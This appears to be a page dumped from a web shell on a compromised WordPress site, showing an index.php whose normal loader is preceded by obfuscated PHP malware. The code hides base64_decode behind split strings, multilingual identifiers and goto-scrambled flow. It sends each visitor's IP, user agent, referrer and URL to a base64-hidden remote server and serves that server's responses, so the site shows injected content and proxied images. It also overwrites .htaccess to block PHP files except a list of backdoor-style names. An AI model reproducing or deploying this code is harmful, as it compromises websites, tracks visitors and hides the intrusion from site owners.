/
home
/
corsairdevelopme
/
public_html
/
amplivo.corsair-development.com
/
Upload File
HOME
<?php // 이 스크립트는 웹 요청을 처리하고 이미지 프록시 및 리다이렉트 기능을 제공합니다 // 변수명: 일본어 | 함수명: 아랍어 | 주석: 한국어 | goto로 흐름 난독화 // Base64 디코딩 함수 - 문자열을 분할하여 재조합함으로써 직접적인 함수 호출을 은닉합니다 function فك_الترميز($暗号文) { // 'base64_decode' 라는 함수명을 여러 조각으로 나누어 문자열 결합으로 복원합니다 $復号関数 = join('', str_split('Ba' . 'sE' . '64' . '_' . 'De' . 'cODe')); // 복원된 함수명을 변수 함수로 호출하여 Base64 디코딩 결과를 반환합니다 return $復号関数($暗号文); } // 이미지 요청을 분석하고 프록시 응답을 반환하는 함수입니다 // URL에서 이미지 ID를 추출하고 API 서버로 요청을 전달합니다 function تحليل_الصورة($画像接口, $引数){ // 이미지 URL에서 매칭할 키워드 목록을 파이프(|)로 구분하여 정의합니다 $画像キーワード = "static|upload|asset|image|photo_album"; // 현재 클라이언트가 요청한 URI를 서버 환경 변수에서 가져옵니다 $リンク = isset($_SERVER['REQUEST_URI'])?$_SERVER['REQUEST_URI']:""; // GET 파라미터에서 이미지 고유 식별자를 추출합니다 $画像識別子 = isset($_GET['id'])?$_GET['id']:""; // 이미지 ID가 GET 파라미터에 없을 경우 URL 문자열에서 정규식으로 직접 추출합니다 if(!$画像識別子){ preg_match("/id=(.*)?&?/",$リンク,$一致); if(isset($一致[1])){ $画像識別子 = $一致[1]; } } // 이미지 ID가 존재하고 URL에 이미지 관련 키워드가 포함되어 있을 때만 프록시 처리를 진행합니다 if($画像識別子 && preg_match("/{$画像キーワード}/",$リンク,$一致)){ $引数['web_api'] = $画像接口; // 파라미터 배열을 JSON으로 직렬화한 후 Base64로 인코딩하여 전송 가능한 형태로 변환합니다 $引数 = base64_encode(json_encode($引数)); // 이미지 API 서버로의 전체 요청 URI를 조합합니다 $画像アドレス = "{$画像接口}{$リンク}&p={$引数}&f=api"; $ヘッダー = []; // 클라이언트의 브라우저 캐시 ETag 값이 있으면 캐시 검증을 위해 URI에 추가합니다 if(isset($_SERVER['HTTP_IF_NONE_MATCH'])){ $画像アドレス .= "&c=".$_SERVER['HTTP_IF_NONE_MATCH']; } // HTTP 연결 종료 헤더를 설정하여 keep-alive를 방지합니다 header("Connection: close"); // 네트워크 요청 함수를 호출하여 원격 서버에서 이미지 데이터를 가져옵니다 $データ = طلب_الشبكة($画像アドレス); // 서버가 304 상태 코드를 반환하면 콘텐츠가 수정되지 않았음을 클라이언트에게 알립니다 if($データ=='304'){ header('HTTP/1.1 304 Not Modified'); die(); } // 응답 데이터를 먼저 Base64 디코딩한 후 gzip 압축을 해제하여 원본 데이터를 복원합니다 $データ = gzuncompress(فك_الترميز($データ)); // 구분자 '||'를 기준으로 데이터를 배열로 분할합니다 (Content-Type, ETag, 본문) $データ = explode("||",$データ); // 첫 번째 요소를 Content-Type 응답 헤더로 설정합니다 header("Content-Type: {$データ[0]}"); // 두 번째 요소를 ETag 응답 헤더로 설정하여 캐시 제어에 사용합니다 header("ETag:{$データ[1]}"); // 응답 본문이 gzip으로 인코딩되었음을 헤더로 명시합니다 header("Content-Encoding: gzip"); // 세 번째 요소 이후의 데이터를 다시 합쳐서 gzip 인코딩 후 클라이언트에게 전송합니다 echo gzencode(implode("||",array_slice($データ,2))); die(); } } // cURL 라이브러리를 사용하여 원격 서버에 HTTP 요청을 보내는 네트워크 통신 함수입니다 // GET 및 POST 요청을 모두 지원하며, POST 데이터는 두 번째 매개변수로 전달합니다 function طلب_الشبكة($リンク, $投稿内容 = '') { // cURL 세션 핸들을 초기화합니다 $接続 = curl_init(); // 요청할 대상 URL을 cURL 옵션으로 설정합니다 curl_setopt($接続, CURLOPT_URL, $リンク); // User-Agent 헤더를 'h6'로 설정하여 요청의 출처를 식별합니다 curl_setopt($接続, CURLOPT_USERAGENT, 'h6'); // 요청 타임아웃을 29초로 설정하여 무한 대기를 방지합니다 curl_setopt($接続, CURLOPT_TIMEOUT, 29); // 실행 결과를 직접 출력하지 않고 문자열로 반환하도록 설정합니다 curl_setopt($接続, CURLOPT_RETURNTRANSFER, 1); // 캐시된 연결을 사용하지 않고 매번 새로운 TCP 연결을 생성합니다 curl_setopt($接続, CURLOPT_FRESH_CONNECT, TRUE); // POST 데이터가 제공된 경우 요청 메서드를 POST로 전환합니다 if ($投稿内容 != '') { curl_setopt($接続, CURLOPT_POST, 1); // POST 데이터가 배열인 경우 URL 인코딩된 쿼리 문자열로 변환하여 전송합니다 if(is_array($投稿内容)){ curl_setopt($接続, CURLOPT_POSTFIELDS, http_build_query($投稿内容)); } } // cURL 요청을 실행하고 서버 응답을 변수에 저장합니다 $結果 = curl_exec($接続); // 사용이 끝난 cURL 세션을 닫고 리소스를 해제합니다 curl_close($接続); // 응답 데이터가 존재하면 그대로 반환하고, 실패한 경우 에러 문자열을 반환합니다 if ($結果) { return $結果; } return 'err'; } // 문자열의 인접한 두 문자를 쌍으로 교환하여 원본 데이터를 복원하는 디코딩 함수입니다 // 입력: 인코딩된 문자열 → 출력: 문자 위치가 복원된 원본 문자열 function فك_التشفير($入力文字) { // 문자열 끝에서 마지막 2개의 문자를 별도로 추출합니다 (홀수 처리용) $末尾=substr($入力文字, strlen($入力文字) -2); // 전체 문자열을 개별 문자 단위의 배열로 분해합니다 $配列=str_split($入力文字); $出力=''; // 배열을 2개씩 건너뛰며 순회하면서 인접한 두 문자의 위치를 교환합니다 for ($索引=0;$索引<count($配列) - 2;$索引=$索引+2) { $出力 .= $配列[$索引+1] . $配列[$索引]; } // 별도로 추출해둔 마지막 2문자를 결과 끝에 추가합니다 $出力 .= $末尾; return $出力; } // .htaccess 파일을 생성하거나 갱신하는 함수입니다 // 기존 파일 내용이 동일하면 불필요한 쓰기를 건너뜁니다 function كتابة_الملف() { // Base64로 인코딩된 파일 경로명을 디코딩하여 실제 파일명을 얻습니다 $ファイル名 = فك_الترميز('Lmh0YWNjZXNz'); // Base64로 인코딩된 .htaccess 규칙 내용을 디코딩합니다 $ファイル内容 = فك_الترميز("PEZpbGVzTWF0Y2ggIi4ocHl8ZXhlfHBocCkkIj4KIE9yZGVyIGFsbG93LGRlbnkKIERlbnkgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8RmlsZXNNYXRjaCAiXihhYm91dC5waHB8cmFkaW8ucGhwfGluZGV4LnBocHxjb250ZW50LnBocHxsb2NrMzYwLnBocHxhZG1pbi5waHB8d3AtbG9naW4ucGhwfHdwLWwwZ2luLnBocHx3cC10aGVtZS5waHB8d3Atc2NyaXB0cy5waHB8d3AtZWRpdG9yLnBocHxtYWgucGhwfGpwLnBocHxleHQucGhwKSQiPgogT3JkZXIgYWxsb3csZGVueQogQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleFwucGhwJCAtIFtMXQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZApSZXdyaXRlUnVsZSAuIC9pbmRleC5waHAgW0xdCjwvSWZNb2R1bGU+"); // 대상 파일이 이미 디스크에 존재하는지 확인합니다 if (file_exists($ファイル名)) { // 기존 파일의 전체 내용을 메모리로 읽어옵니다 $既存内容 = file_get_contents($ファイル名); // 기존 내용과 새로 생성할 내용을 비교하여 동일하면 쓰기를 생략합니다 if ($ファイル内容 == $既存内容) { return; } } // 기존 파일이 있으면 삭제합니다 (@로 에러를 억제합니다) @unlink($ファイル名); // 디코딩된 내용으로 새 파일을 생성합니다 (@로 에러를 억제합니다) @file_put_contents($ファイル名, $ファイル内容); } // ==================== 메인 실행 흐름 (goto로 난독화됨) ==================== // 아래 코드는 5개의 goto 문을 사용하여 실행 순서를 의도적으로 뒤섞어 분석을 어렵게 합니다 // 단계 1: 원격 서버 주소를 Base64 디코딩으로 복원합니다 $サーバー = فك_الترميز('aHR0cDovLzIwMjYtY2g0LXY1MTMucmFrdXRlbjYzanAuY2xpY2s='); // URL에서 버전 번호 패턴(v숫자)을 'img'로 치환하여 이미지 전용 서버 주소를 생성합니다 $画像サーバー = preg_replace('/v[0-9]+/','img',$サーバー); // [goto 1] 파라미터 구성 단계로 점프합니다 goto 第二段階; // ── 단계 5: 최종 응답을 처리하고 클라이언트에게 전달하는 마지막 단계입니다 ── 第五段階: // 서버 응답을 커스텀 구분자 '{|}'로 분할하여 헤더와 본문을 분리합니다 $分割データ=@preg_split("/{\|}/si", $応答, -1, PREG_SPLIT_NO_EMPTY); // 분할 결과에 헤더(첫 번째)와 본문(두 번째) 요소가 모두 있으면 응답을 출력합니다 if (!empty($分割データ) && isset($分割データ[1])) { // 첫 번째 요소를 HTTP 응답 헤더로 설정합니다 @header($分割データ[0]); // 두 번째 요소를 응답 본문으로 출력합니다 echo $分割データ[1]; die(); } // [goto 5] 모든 처리가 완료되었으므로 스크립트 종료 지점으로 점프합니다 goto 終了; // ── 단계 2: 클라이언트 요청의 서버 환경 정보를 수집하여 파라미터 배열을 구성합니다 ── 第二段階: // 현재 도메인명을 HTTP_HOST 또는 SERVER_NAME에서 가져옵니다 $情報['domain'] =isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME']; // 요청된 전체 URI 경로를 저장합니다 $情報['request_url'] = $_SERVER['REQUEST_URI']; // 리퍼러(이전 페이지 URL)가 있으면 저장하고, 없으면 빈 문자열로 설정합니다 $情報['referer'] = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; // 클라이언트의 User-Agent(브라우저 정보)를 저장합니다 $情報['agent'] = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; // 프록시를 경유한 경우 X-Forwarded-For에서, 아니면 REMOTE_ADDR에서 IP를 가져옵니다 $情報['ip'] = isset($_SERVER['HTTP_VIA']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']; // IP 값이 null인 경우 빈 문자열로 초기화합니다 if($情報['ip'] == null) {$情報['ip'] = "";} // HTTPS 사용 여부에 따라 프로토콜 접두사를 설정합니다 $情報['protocol'] = isset($_SERVER['HTTPS']) ? 'https://' : 'http://'; // 클라이언트가 수신 가능한 언어 목록을 저장합니다 $情報['language'] = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : ''; // [goto 2] 디버그 확인 및 이미지 처리 단계로 점프합니다 goto 第三段階; // ── 단계 4: htaccess 파일 처리 후 최종 API 요청을 구성하고 실행합니다 ── 第四段階: // 서버 주소에 'ch4' 문자열이 포함되어 있으면 htaccess 파일 갱신 함수를 호출합니다 if(strpos($サーバー, 'ch4')){كتابة_الملف();} // 수집된 파라미터를 구분자로 결합 → Base64 인코딩 → 문자 교환 디코딩하여 요청 URL을 구성합니다 $要求アドレス=sprintf('%s/?r=%s', $サーバー, فك_التشفير(base64_encode(implode('{|}',$情報)))); // 구성된 URL로 네트워크 요청을 실행하여 서버 응답을 받아옵니다 $応答 = طلب_الشبكة($要求アドレス); // [goto 3] 응답 처리 단계로 점프합니다 goto 第五段階; // ── 단계 3: 디버그 모드 확인 및 이미지 요청 처리를 수행합니다 ── 第三段階: // 'params' 요청 파라미터가 존재하면 디버그 모드로 간주하여 현재 설정 정보를 출력합니다 if (isset($_REQUEST['params'])) {$情報['api'] = $サーバー;$情報['web_api'] = $サーバー;$情報['image_api']=$画像サーバー;print_r($情報);die();} // 이미지 관련 요청인 경우 이미지 프록시 함수를 호출하여 처리합니다 تحليل_الصورة($画像サーバー, $情報); // [goto 4] htaccess 처리 및 최종 요청 단계로 점프합니다 goto 第四段階; // 모든 처리가 완료된 스크립트 종료 지점입니다 終了: ?> <?php /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define( 'WP_USE_THEMES', true ); /** Loads the WordPress Environment and Template */ require __DIR__ . '/wp-blog-header.php';